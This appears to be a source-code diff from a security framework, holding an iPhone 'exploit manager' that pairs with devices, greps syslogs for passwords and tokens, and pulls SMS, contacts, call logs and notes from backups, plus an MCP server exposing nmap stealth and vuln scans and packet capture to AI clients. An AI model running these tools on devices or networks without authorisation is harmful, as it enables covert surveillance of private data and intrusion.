result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return '', 'Command timed out', 1
except Exception as e:
return '', str(e), 1
def _run_udid(self, tool_name, udid, args, timeout=30):
"""Run tool with -u UDID flag."""
return self._run(tool_name, ['-u', udid] + args, timeout=timeout)
def get_status(self):
"""Get availability of libimobiledevice tools."""
available = {name: bool(path) for name, path in self._tools.items()}
total = len(self.TOOLS)
found = sum(1 for v in available.values() if v)
return {
'tools': available,
'total': total,
'found': found,
'ready': found >= 3, # At minimum need idevice_id, ideviceinfo, idevicepair
}
# ── Device Management ────────────────────────────────────────────
def list_devices(self):
"""List connected iOS devices."""
stdout, stderr, rc = self._run('idevice_id', ['-l'])
if rc != 0:
return []
devices = []
for line in stdout.strip().split('\n'):
udid = line.strip()
if udid:
info = self.device_info_brief(udid)
devices.append({
'udid': udid,
'name': info.get('DeviceName', ''),
'model': info.get('ProductType', ''),
'ios_version': info.get('ProductVersion', ''),
})
return devices
def device_info(self, udid):
"""Get full device information."""
stdout, stderr, rc = self._run_udid('ideviceinfo', udid, [])
if rc != 0:
return {'error': stderr or 'Cannot get device info'}
info = {}
for line in stdout.split('\n'):
if ':' in line:
key, _, val = line.partition(':')
info[key.strip()] = val.strip()
return info
def device_info_brief(self, udid):
"""Get key device info (name, model, iOS version)."""
keys = ['DeviceName', 'ProductType', 'ProductVersion', 'BuildVersion',
'SerialNumber', 'UniqueChipID', 'WiFiAddress', 'BluetoothAddress']
info = {}
for key in keys:
stdout, _, rc = self._run_udid('ideviceinfo', udid, ['-k', key])
if rc == 0:
info[key] = stdout.strip()
return info
def device_info_domain(self, udid, domain):
"""Get device info for a specific domain."""
stdout, stderr, rc = self._run_udid('ideviceinfo', udid, ['-q', domain])
if rc != 0:
return {'error': stderr}
info = {}
for line in stdout.split('\n'):
if ':' in line:
key, _, val = line.partition(':')
info[key.strip()] = val.strip()
return info
def pair_device(self, udid):
"""Pair with device (requires user trust on device)."""
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['pair'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def unpair_device(self, udid):
"""Unpair from device."""
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['unpair'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def validate_pair(self, udid):
"""Check if device is properly paired."""
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['validate'])
return {'success': rc == 0, 'paired': rc == 0, 'output': (stdout or stderr).strip()}
def get_name(self, udid):
"""Get device name."""
stdout, stderr, rc = self._run_udid('idevicename', udid, [])
return {'success': rc == 0, 'name': stdout.strip()}
def set_name(self, udid, name):
"""Set device name."""
stdout, stderr, rc = self._run_udid('idevicename', udid, [name])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def get_date(self, udid):
"""Get device date/time."""
stdout, stderr, rc = self._run_udid('idevicedate', udid, [])
return {'success': rc == 0, 'date': stdout.strip()}
def set_date(self, udid, timestamp):
"""Set device date (epoch timestamp)."""
stdout, stderr, rc = self._run_udid('idevicedate', udid, ['-s', str(timestamp)])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def restart_device(self, udid):
"""Restart device."""
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['restart'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def shutdown_device(self, udid):
"""Shutdown device."""
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['shutdown'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def sleep_device(self, udid):
"""Put device to sleep."""
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['sleep'])
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
# ── Screenshot & Syslog ──────────────────────────────────────────
def screenshot(self, udid):
"""Take a screenshot."""
out_dir = self._udid_dir('screenshots', udid)
filename = f'screen_{int(time.time())}.png'
filepath = str(out_dir / filename)
stdout, stderr, rc = self._run_udid('idevicescreenshot', udid, [filepath])
if rc == 0 and os.path.exists(filepath):
return {'success': True, 'path': filepath, 'size': os.path.getsize(filepath)}
return {'success': False, 'error': (stderr or stdout).strip()}
def syslog_dump(self, udid, duration=5):
"""Capture syslog for a duration."""
out_dir = self._udid_dir('recon', udid)
logfile = str(out_dir / f'syslog_{int(time.time())}.txt')
try:
proc = subprocess.Popen(
[self._tools.get('idevicesyslog', 'idevicesyslog'), '-u', udid],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
time.sleep(duration)
proc.terminate()
stdout, _ = proc.communicate(timeout=3)
with open(logfile, 'w') as f:
f.write(stdout)
return {'success': True, 'path': logfile, 'lines': len(stdout.split('\n'))}
except Exception as e:
return {'success': False, 'error': str(e)}
def syslog_grep(self, udid, pattern, duration=5):
"""Capture syslog and grep for pattern (passwords, tokens, etc)."""
result = self.syslog_dump(udid, duration=duration)
if not result['success']:
return result
matches = []
try:
with open(result['path']) as f:
for line in f:
if re.search(pattern, line, re.IGNORECASE):
matches.append(line.strip())
except Exception:
pass
return {'success': True, 'matches': matches, 'count': len(matches), 'pattern': pattern}
def crash_reports(self, udid):
"""Pull crash reports from device."""
out_dir = self._udid_dir('crash_reports', udid)
stdout, stderr, rc = self._run_udid('idevicecrashreport', udid,
['-e', str(out_dir)], timeout=60)
if rc == 0:
files = list(out_dir.iterdir()) if out_dir.exists() else []
return {'success': True, 'output_dir': str(out_dir),
'count': len(files), 'output': stdout.strip()}
return {'success': False, 'error': (stderr or stdout).strip()}
# ── App Management ───────────────────────────────────────────────
def list_apps(self, udid, app_type='user'):
"""List installed apps. type: user, system, all."""
flags = {
'user': ['-l', '-o', 'list_user'],
'system': ['-l', '-o', 'list_system'],
'all': ['-l', '-o', 'list_all'],
}
args = flags.get(app_type, ['-l'])
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, args, timeout=30)
if rc != 0:
return {'success': False, 'error': (stderr or stdout).strip(), 'apps': []}
apps = []
for line in stdout.strip().split('\n'):
line = line.strip()
if not line or line.startswith('CFBundle') or line.startswith('Total'):
continue
# Format: com.example.app, "App Name", "1.0"
parts = line.split(',', 2)
if parts:
app = {'bundle_id': parts[0].strip().strip('"')}
if len(parts) >= 2:
app['name'] = parts[1].strip().strip('"')
if len(parts) >= 3:
app['version'] = parts[2].strip().strip('"')
apps.append(app)
return {'success': True, 'apps': apps, 'count': len(apps)}
def install_app(self, udid, ipa_path):
"""Install an IPA on device."""
if not os.path.isfile(ipa_path):
return {'success': False, 'error': f'File not found: {ipa_path}'}
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid,
['-i', ipa_path], timeout=120)
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def uninstall_app(self, udid, bundle_id):
"""Uninstall an app by bundle ID."""
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid,
['-U', bundle_id], timeout=30)
return {'success': rc == 0, 'bundle_id': bundle_id, 'output': (stdout or stderr).strip()}
# ── Backup & Data Extraction ─────────────────────────────────────
def create_backup(self, udid, encrypted=False, password=''):
"""Create a full device backup."""
backup_dir = str(self._base / 'backups')
args = ['backup', '--full', backup_dir]
if encrypted and password:
args = ['backup', '--full', backup_dir, '-p', password]
stdout, stderr, rc = self._run_udid('idevicebackup2', udid, args, timeout=600)
backup_path = os.path.join(backup_dir, udid)
success = os.path.isdir(backup_path)
return {
'success': success,
'backup_path': backup_path if success else None,
'encrypted': encrypted,
'output': (stdout or stderr).strip()[:500],
}
def list_backups(self):
"""List available local backups."""
backup_dir = self._base / 'backups'
backups = []
if backup_dir.exists():
for d in backup_dir.iterdir():
if d.is_dir():
manifest = d / 'Manifest.db'
info_plist = d / 'Info.plist'
backup_info = {'udid': d.name, 'path': str(d)}
if manifest.exists():
backup_info['has_manifest'] = True
backup_info['size_mb'] = sum(
f.stat().st_size for f in d.rglob('*') if f.is_file()
) / (1024 * 1024)
if info_plist.exists():
try:
with open(info_plist, 'rb') as f:
plist = plistlib.load(f)
backup_info['device_name'] = plist.get('Device Name', '')
backup_info['product_type'] = plist.get('Product Type', '')
backup_info['ios_version'] = plist.get('Product Version', '')
backup_info['date'] = str(plist.get('Last Backup Date', ''))
except Exception:
pass
backups.append(backup_info)
return {'backups': backups, 'count': len(backups)}
def extract_backup_sms(self, backup_path):
"""Extract SMS/iMessage from a backup."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
# Find SMS database file hash
cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/SMS/sms.db' AND domain = 'HomeDomain'")
row = cur.fetchone()
conn.close()
if not row:
return {'success': False, 'error': 'SMS database not found in backup'}
file_hash = row[0]
sms_db = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(sms_db):
return {'success': False, 'error': f'SMS db file not found: {file_hash}'}
# Query messages
conn = sqlite3.connect(sms_db)
cur = conn.cursor()
cur.execute('''
SELECT m.rowid, m.text, m.date, m.is_from_me,
h.id AS handle_id, h.uncanonicalized_id
FROM message m
LEFT JOIN handle h ON m.handle_id = h.rowid
ORDER BY m.date DESC LIMIT 500
''')
messages = []
for row in cur.fetchall():
# Apple timestamps: seconds since 2001-01-01
apple_epoch = 978307200
ts = row[2]
if ts and ts > 1e17:
ts = ts / 1e9 # nanoseconds
date_readable = ''
if ts:
try:
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch))
except (ValueError, OSError):
pass
messages.append({
'id': row[0], 'text': row[1] or '', 'date': date_readable,
'is_from_me': bool(row[3]),
'handle': row[4] or row[5] or '',
})
conn.close()
return {'success': True, 'messages': messages, 'count': len(messages)}
except Exception as e:
return {'success': False, 'error': str(e)}
def extract_backup_contacts(self, backup_path):
"""Extract contacts from backup."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/AddressBook/AddressBook.sqlitedb' AND domain = 'HomeDomain'")
row = cur.fetchone()
conn.close()
if not row:
return {'success': False, 'error': 'AddressBook not found in backup'}
file_hash = row[0]
ab_db = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(ab_db):
return {'success': False, 'error': 'AddressBook file not found'}
conn = sqlite3.connect(ab_db)
cur = conn.cursor()
cur.execute('''
SELECT p.rowid, p.First, p.Last, p.Organization,
mv.value AS phone_or_email
FROM ABPerson p
LEFT JOIN ABMultiValue mv ON p.rowid = mv.record_id
ORDER BY p.Last, p.First
''')
contacts = {}
for row in cur.fetchall():
rid = row[0]
if rid not in contacts:
contacts[rid] = {
'first': row[1] or '', 'last': row[2] or '',
'organization': row[3] or '', 'values': []
}
if row[4]:
contacts[rid]['values'].append(row[4])
conn.close()
contact_list = list(contacts.values())
return {'success': True, 'contacts': contact_list, 'count': len(contact_list)}
except Exception as e:
return {'success': False, 'error': str(e)}
def extract_backup_call_log(self, backup_path):
"""Extract call history from backup."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%CallHistory%' AND domain = 'HomeDomain'")
row = cur.fetchone()
conn.close()
if not row:
return {'success': False, 'error': 'Call history not found in backup'}
file_hash = row[0]
ch_db = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(ch_db):
return {'success': False, 'error': 'Call history file not found'}
conn = sqlite3.connect(ch_db)
cur = conn.cursor()
cur.execute('''
SELECT ROWID, address, date, duration, flags, country_code
FROM ZCALLRECORD ORDER BY ZDATE DESC LIMIT 200
''')
flag_map = {4: 'incoming', 5: 'outgoing', 8: 'missed'}
calls = []
apple_epoch = 978307200
for row in cur.fetchall():
ts = row[2]
date_readable = ''
if ts:
try:
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts + apple_epoch))
except (ValueError, OSError):
pass
calls.append({
'id': row[0], 'address': row[1] or '', 'date': date_readable,
'duration': row[3] or 0, 'type': flag_map.get(row[4], str(row[4])),
'country': row[5] or '',
})
conn.close()
return {'success': True, 'calls': calls, 'count': len(calls)}
except Exception as e:
return {'success': False, 'error': str(e)}
def extract_backup_notes(self, backup_path):
"""Extract notes from backup."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
cur.execute("SELECT fileID FROM Files WHERE relativePath LIKE '%NoteStore.sqlite%' AND domain = 'AppDomainGroup-group.com.apple.notes'")
row = cur.fetchone()
conn.close()
if not row:
return {'success': False, 'error': 'Notes database not found in backup'}
file_hash = row[0]
notes_db = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(notes_db):
return {'success': False, 'error': 'Notes file not found'}
conn = sqlite3.connect(notes_db)
cur = conn.cursor()
cur.execute('''
SELECT n.Z_PK, n.ZTITLE, nb.ZDATA, n.ZMODIFICATIONDATE
FROM ZICCLOUDSYNCINGOBJECT n
LEFT JOIN ZICNOTEDATA nb ON n.Z_PK = nb.ZNOTE
WHERE n.ZTITLE IS NOT NULL
ORDER BY n.ZMODIFICATIONDATE DESC LIMIT 100
''')
apple_epoch = 978307200
notes = []
for row in cur.fetchall():
body = ''
if row[2]:
try:
body = row[2].decode('utf-8', errors='replace')[:500]
except Exception:
body = '[binary data]'
date_readable = ''
if row[3]:
try:
date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(row[3] + apple_epoch))
except (ValueError, OSError):
pass
notes.append({'id': row[0], 'title': row[1] or '', 'body': body, 'date': date_readable})
conn.close()
return {'success': True, 'notes': notes, 'count': len(notes)}
except Exception as e:
return {'success': False, 'error': str(e)}
def list_backup_files(self, backup_path, domain='', path_filter=''):
"""List all files in a backup's Manifest.db."""
manifest = os.path.join(backup_path, 'Manifest.db')
if not os.path.exists(manifest):
return {'success': False, 'error': 'Manifest.db not found'}
try:
conn = sqlite3.connect(manifest)
cur = conn.cursor()
query = 'SELECT fileID, domain, relativePath, flags FROM Files'
conditions = []
params = []
if domain:
conditions.append('domain LIKE ?')
params.append(f'%{domain}%')
if path_filter:
conditions.append('relativePath LIKE ?')
params.append(f'%{path_filter}%')
if conditions:
query += ' WHERE ' + ' AND '.join(conditions)
query += ' LIMIT 500'
cur.execute(query, params)
files = []
for row in cur.fetchall():
files.append({
'hash': row[0], 'domain': row[1],
'path': row[2], 'flags': row[3],
})
conn.close()
return {'success': True, 'files': files, 'count': len(files)}
except Exception as e:
return {'success': False, 'error': str(e)}
def extract_backup_file(self, backup_path, file_hash, output_name=None):
"""Extract a specific file from backup by its hash."""
src = os.path.join(backup_path, file_hash[:2], file_hash)
if not os.path.exists(src):
return {'success': False, 'error': f'File not found: {file_hash}'}
out_dir = self._base / 'recon' / 'extracted'
out_dir.mkdir(parents=True, exist_ok=True)
dest = str(out_dir / (output_name or file_hash))
shutil.copy2(src, dest)
return {'success': True, 'path': dest, 'size': os.path.getsize(dest)}
# ── Filesystem ───────────────────────────────────────────────────
def mount_filesystem(self, udid, mountpoint=None):
"""Mount device filesystem via ifuse."""
if 'ifuse' not in self._tools:
return {'success': False, 'error': 'ifuse not installed'}
if not mountpoint:
mountpoint = str(self._base / 'mnt' / udid)
os.makedirs(mountpoint, exist_ok=True)
stdout, stderr, rc = self._run('ifuse', ['-u', udid, mountpoint])
return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()}
def mount_app_documents(self, udid, bundle_id, mountpoint=None):
"""Mount a specific app's Documents folder via ifuse."""
if 'ifuse' not in self._tools:
return {'success': False, 'error': 'ifuse not installed'}
if not mountpoint:
mountpoint = str(self._base / 'mnt' / udid / bundle_id)
os.makedirs(mountpoint, exist_ok=True)
stdout, stderr, rc = self._run('ifuse', ['-u', udid, '--documents', bundle_id, mountpoint])
return {'success': rc == 0, 'mountpoint': mountpoint, 'output': (stderr or stdout).strip()}
def unmount_filesystem(self, mountpoint):
"""Unmount a previously mounted filesystem."""
try:
subprocess.run(['fusermount', '-u', mountpoint], capture_output=True, timeout=10)
return {'success': True, 'mountpoint': mountpoint}
except Exception as e:
return {'success': False, 'error': str(e)}
# ── Provisioning Profiles ────────────────────────────────────────
def list_profiles(self, udid):
"""List provisioning profiles on device."""
stdout, stderr, rc = self._run_udid('ideviceprovision', udid, ['list'], timeout=15)
if rc != 0:
return {'success': False, 'error': (stderr or stdout).strip(), 'profiles': []}
profiles = []
current = {}
for line in stdout.split('\n'):
line = line.strip()
if line.startswith('ProvisionedDevices'):
continue
if ' - ' in line and not current:
current = {'id': line.split(' - ')[0].strip(), 'name': line.split(' - ', 1)[1].strip()}
elif line == '' and current:
profiles.append(current)
current = {}
if current:
profiles.append(current)
return {'success': True, 'profiles': profiles, 'count': len(profiles)}
def install_profile(self, udid, profile_path):
"""Install a provisioning/configuration profile."""
if not os.path.isfile(profile_path):
return {'success': False, 'error': f'File not found: {profile_path}'}
stdout, stderr, rc = self._run_udid('ideviceprovision', udid,
['install', profile_path], timeout=15)
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
def remove_profile(self, udid, profile_id):
"""Remove a provisioning profile."""
stdout, stderr, rc = self._run_udid('ideviceprovision', udid,
['remove', profile_id], timeout=15)
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
# ── Port Forwarding ──────────────────────────────────────────────
def port_forward(self, udid, local_port, device_port):
"""Set up port forwarding via iproxy (runs in background)."""
if 'iproxy' not in self._tools:
return {'success': False, 'error': 'iproxy not installed'}
try:
proc = subprocess.Popen(
[self._tools['iproxy'], '-u', udid, str(local_port), str(device_port)],
stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
time.sleep(0.5)
if proc.poll() is not None:
_, err = proc.communicate()
return {'success': False, 'error': err.decode().strip()}
return {'success': True, 'pid': proc.pid,
'local': local_port, 'device': device_port}
except Exception as e:
return {'success': False, 'error': str(e)}
# ── Device Fingerprint ───────────────────────────────────────────
def full_fingerprint(self, udid):
"""Get comprehensive device fingerprint."""
fp = self.device_info(udid)
# Add specific domains
for domain in ['com.apple.disk_usage', 'com.apple.mobile.battery',
'com.apple.mobile.internal', 'com.apple.international']:
domain_info = self.device_info_domain(udid, domain)
if 'error' not in domain_info:
fp[f'domain_{domain.split(".")[-1]}'] = domain_info
return fp
def export_recon_report(self, udid):
"""Export full reconnaissance report."""
out_dir = self._udid_dir('recon', udid)
report = {
'udid': udid,
'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
'device_info': self.device_info(udid),
'pair_status': self.validate_pair(udid),
'apps': self.list_apps(udid),
'profiles': self.list_profiles(udid),
}
report_path = str(out_dir / f'report_{int(time.time())}.json')
with open(report_path, 'w') as f:
json.dump(report, f, indent=2, default=str)
return {'success': True, 'report_path': report_path}
# ── Singleton ──────────────────────────────────────────────────────
_manager = None
def get_iphone_manager():
global _manager
if _manager is None:
_manager = IPhoneExploitManager()
return _manager

1465
core/llm.py Normal file

File diff suppressed because it is too large Load Diff

585
core/mcp_server.py Normal file
View File

@ -0,0 +1,585 @@
"""
AUTARCH MCP Server
Exposes AUTARCH tools via Model Context Protocol (MCP)
for use with Claude Desktop, Claude Code, and other MCP clients.
"""
import sys
import os
import json
import socket
import subprocess
import threading
from pathlib import Path
from typing import Optional
# Ensure core is importable
_app_dir = Path(__file__).resolve().parent.parent
if str(_app_dir) not in sys.path:
sys.path.insert(0, str(_app_dir))
from core.config import get_config
from core.paths import find_tool, get_app_dir
# MCP server state
_server_process = None
_server_thread = None
def get_autarch_tools():
"""Build the list of AUTARCH tools to expose via MCP."""
tools = []
# ── Network Scanning ──
tools.append({
'name': 'nmap_scan',
'description': 'Run an nmap scan against a target. Returns scan results.',
'params': {
'target': {'type': 'string', 'description': 'Target IP, hostname, or CIDR range', 'required': True},
'ports': {'type': 'string', 'description': 'Port specification (e.g. "22,80,443" or "1-1024")', 'required': False},
'scan_type': {'type': 'string', 'description': 'Scan type: quick, full, stealth, vuln', 'required': False},
}
})
# ── GeoIP Lookup ──
tools.append({
'name': 'geoip_lookup',
'description': 'Look up geographic and network information for an IP address.',
'params': {
'ip': {'type': 'string', 'description': 'IP address to look up', 'required': True},
}
})
# ── DNS Lookup ──
tools.append({
'name': 'dns_lookup',
'description': 'Perform DNS lookups for a domain.',
'params': {
'domain': {'type': 'string', 'description': 'Domain name to look up', 'required': True},
'record_type': {'type': 'string', 'description': 'Record type: A, AAAA, MX, NS, TXT, CNAME, SOA', 'required': False},
}
})
# ── WHOIS ──
tools.append({
'name': 'whois_lookup',
'description': 'Perform WHOIS lookup for a domain or IP.',
'params': {
'target': {'type': 'string', 'description': 'Domain or IP to look up', 'required': True},
}
})
# ── Packet Capture ──
tools.append({
'name': 'packet_capture',
'description': 'Capture network packets using tcpdump. Returns captured packet summary.',
'params': {
'interface': {'type': 'string', 'description': 'Network interface (e.g. eth0, wlan0)', 'required': False},
'count': {'type': 'integer', 'description': 'Number of packets to capture (default 10)', 'required': False},
'filter': {'type': 'string', 'description': 'BPF filter expression', 'required': False},
}
})
# ── WireGuard Status ──
tools.append({
'name': 'wireguard_status',
'description': 'Get WireGuard VPN tunnel status and peer information.',
'params': {}
})
# ── UPnP Status ──
tools.append({
'name': 'upnp_status',
'description': 'Get UPnP port mapping status.',
'params': {}
})
# ── System Info ──
tools.append({
'name': 'system_info',
'description': 'Get AUTARCH system information: hostname, platform, uptime, tool availability.',
'params': {}
})
# ── LLM Chat ──
tools.append({
'name': 'llm_chat',
'description': 'Send a message to the currently configured LLM backend and get a response.',
'params': {
'message': {'type': 'string', 'description': 'Message to send to the LLM', 'required': True},
'system_prompt': {'type': 'string', 'description': 'Optional system prompt', 'required': False},
}
})
# ── Android Device Info ──
tools.append({
'name': 'android_devices',
'description': 'List connected Android devices via ADB.',
'params': {}
})
# ── Config Get/Set ──
tools.append({
'name': 'config_get',
'description': 'Get an AUTARCH configuration value.',
'params': {
'section': {'type': 'string', 'description': 'Config section (e.g. autarch, llama, wireguard)', 'required': True},
'key': {'type': 'string', 'description': 'Config key', 'required': True},
}
})
return tools
def execute_tool(name: str, arguments: dict) -> str:
"""Execute an AUTARCH tool and return the result as a string."""
config = get_config()
if name == 'nmap_scan':
return _run_nmap(arguments, config)
elif name == 'geoip_lookup':
return _run_geoip(arguments)
elif name == 'dns_lookup':
return _run_dns(arguments)
elif name == 'whois_lookup':
return _run_whois(arguments)
elif name == 'packet_capture':
return _run_tcpdump(arguments)
elif name == 'wireguard_status':
return _run_wg_status(config)
elif name == 'upnp_status':
return _run_upnp_status(config)
elif name == 'system_info':
return _run_system_info()
elif name == 'llm_chat':
return _run_llm_chat(arguments, config)
elif name == 'android_devices':
return _run_adb_devices()
elif name == 'config_get':
return _run_config_get(arguments, config)
else:
return json.dumps({'error': f'Unknown tool: {name}'})
def _run_nmap(args: dict, config) -> str:
nmap = find_tool('nmap')
if not nmap:
return json.dumps({'error': 'nmap not found'})
target = args.get('target', '')
if not target:
return json.dumps({'error': 'target is required'})
cmd = [str(nmap)]
scan_type = args.get('scan_type', 'quick')
if scan_type == 'stealth':
cmd.extend(['-sS', '-T2'])
elif scan_type == 'full':
cmd.extend(['-sV', '-sC', '-O'])
elif scan_type == 'vuln':
cmd.extend(['-sV', '--script=vuln'])
else:
cmd.extend(['-sV', '-T4'])
ports = args.get('ports', '')
if ports:
cmd.extend(['-p', ports])
cmd.append(target)
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
return json.dumps({
'stdout': result.stdout,
'stderr': result.stderr,
'exit_code': result.returncode
})
except subprocess.TimeoutExpired:
return json.dumps({'error': 'Scan timed out after 120 seconds'})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_geoip(args: dict) -> str:
ip = args.get('ip', '')
if not ip:
return json.dumps({'error': 'ip is required'})
try:
import urllib.request
url = f"http://ip-api.com/json/{ip}?fields=status,message,country,regionName,city,zip,lat,lon,timezone,isp,org,as,query"
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
except Exception as e:
return json.dumps({'error': str(e)})
def _run_dns(args: dict) -> str:
domain = args.get('domain', '')
if not domain:
return json.dumps({'error': 'domain is required'})
record_type = args.get('record_type', 'A')
try:
result = subprocess.run(
['dig', '+short', domain, record_type],
capture_output=True, text=True, timeout=10
)
records = [r for r in result.stdout.strip().split('\n') if r]
return json.dumps({'domain': domain, 'type': record_type, 'records': records})
except FileNotFoundError:
# Fallback to socket for A records
try:
ips = socket.getaddrinfo(domain, None)
records = list(set(addr[4][0] for addr in ips))
return json.dumps({'domain': domain, 'type': 'A', 'records': records})
except Exception as e:
return json.dumps({'error': str(e)})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_whois(args: dict) -> str:
target = args.get('target', '')
if not target:
return json.dumps({'error': 'target is required'})
try:
result = subprocess.run(
['whois', target],
capture_output=True, text=True, timeout=15
)
return json.dumps({'target': target, 'output': result.stdout[:4000]})
except FileNotFoundError:
return json.dumps({'error': 'whois command not found'})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_tcpdump(args: dict) -> str:
tcpdump = find_tool('tcpdump')
if not tcpdump:
return json.dumps({'error': 'tcpdump not found'})
cmd = [str(tcpdump), '-n']
iface = args.get('interface', '')
if iface:
cmd.extend(['-i', iface])
count = args.get('count', 10)
cmd.extend(['-c', str(count)])
bpf_filter = args.get('filter', '')
if bpf_filter:
cmd.append(bpf_filter)
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
return json.dumps({
'stdout': result.stdout,
'stderr': result.stderr,
'exit_code': result.returncode
})
except subprocess.TimeoutExpired:
return json.dumps({'error': 'Capture timed out'})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_wg_status(config) -> str:
wg = find_tool('wg')
if not wg:
return json.dumps({'error': 'wg not found'})
iface = config.get('wireguard', 'interface', 'wg0')
try:
result = subprocess.run(
[str(wg), 'show', iface],
capture_output=True, text=True, timeout=10
)
return json.dumps({
'interface': iface,
'output': result.stdout,
'active': result.returncode == 0
})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_upnp_status(config) -> str:
upnpc = find_tool('upnpc')
if not upnpc:
return json.dumps({'error': 'upnpc not found'})
try:
result = subprocess.run(
[str(upnpc), '-l'],
capture_output=True, text=True, timeout=10
)
return json.dumps({
'output': result.stdout,
'exit_code': result.returncode
})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_system_info() -> str:
import platform
info = {
'hostname': socket.gethostname(),
'platform': platform.platform(),
'python': platform.python_version(),
'arch': platform.machine(),
}
try:
info['ip'] = socket.gethostbyname(socket.gethostname())
except Exception:
info['ip'] = '127.0.0.1'
try:
with open('/proc/uptime') as f:
uptime_secs = float(f.read().split()[0])
days = int(uptime_secs // 86400)
hours = int((uptime_secs % 86400) // 3600)
info['uptime'] = f"{days}d {hours}h"
except Exception:
info['uptime'] = 'N/A'
# Tool availability
tools = {}
for tool in ['nmap', 'tshark', 'tcpdump', 'upnpc', 'wg', 'adb']:
tools[tool] = find_tool(tool) is not None
info['tools'] = tools
config = get_config()
info['llm_backend'] = config.get('autarch', 'llm_backend', 'local')
return json.dumps(info)
def _run_llm_chat(args: dict, config) -> str:
message = args.get('message', '')
if not message:
return json.dumps({'error': 'message is required'})
try:
from core.llm import get_llm, LLMError
llm = get_llm()
if not llm.is_loaded:
llm.load_model()
system_prompt = args.get('system_prompt', None)
response = llm.chat(message, system_prompt=system_prompt)
return json.dumps({
'response': response,
'model': llm.model_name,
'backend': config.get('autarch', 'llm_backend', 'local')
})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_adb_devices() -> str:
adb = find_tool('adb')
if not adb:
return json.dumps({'error': 'adb not found'})
try:
result = subprocess.run(
[str(adb), 'devices', '-l'],
capture_output=True, text=True, timeout=10
)
lines = result.stdout.strip().split('\n')[1:] # Skip header
devices = []
for line in lines:
if line.strip():
parts = line.split()
if len(parts) >= 2:
dev = {'serial': parts[0], 'state': parts[1]}
# Parse extra info
for part in parts[2:]:
if ':' in part:
k, v = part.split(':', 1)
dev[k] = v
devices.append(dev)
return json.dumps({'devices': devices})
except Exception as e:
return json.dumps({'error': str(e)})
def _run_config_get(args: dict, config) -> str:
section = args.get('section', '')
key = args.get('key', '')
if not section or not key:
return json.dumps({'error': 'section and key are required'})
# Block sensitive keys
if key.lower() in ('api_key', 'password', 'secret_key', 'token'):
return json.dumps({'error': 'Cannot read sensitive configuration values'})
value = config.get(section, key, fallback='(not set)')
return json.dumps({'section': section, 'key': key, 'value': value})
def create_mcp_server():
"""Create and return the FastMCP server instance."""
from mcp.server.fastmcp import FastMCP
mcp = FastMCP("autarch", instructions="AUTARCH security framework tools")
# Register all tools
tool_defs = get_autarch_tools()
@mcp.tool()
def nmap_scan(target: str, ports: str = "", scan_type: str = "quick") -> str:
"""Run an nmap network scan against a target. Returns scan results including open ports and services."""
return execute_tool('nmap_scan', {'target': target, 'ports': ports, 'scan_type': scan_type})
@mcp.tool()
def geoip_lookup(ip: str) -> str:
"""Look up geographic and network information for an IP address."""
return execute_tool('geoip_lookup', {'ip': ip})
@mcp.tool()
def dns_lookup(domain: str, record_type: str = "A") -> str:
"""Perform DNS lookups for a domain. Supports A, AAAA, MX, NS, TXT, CNAME, SOA record types."""
return execute_tool('dns_lookup', {'domain': domain, 'record_type': record_type})
@mcp.tool()
def whois_lookup(target: str) -> str:
"""Perform WHOIS lookup for a domain or IP address."""
return execute_tool('whois_lookup', {'target': target})
@mcp.tool()
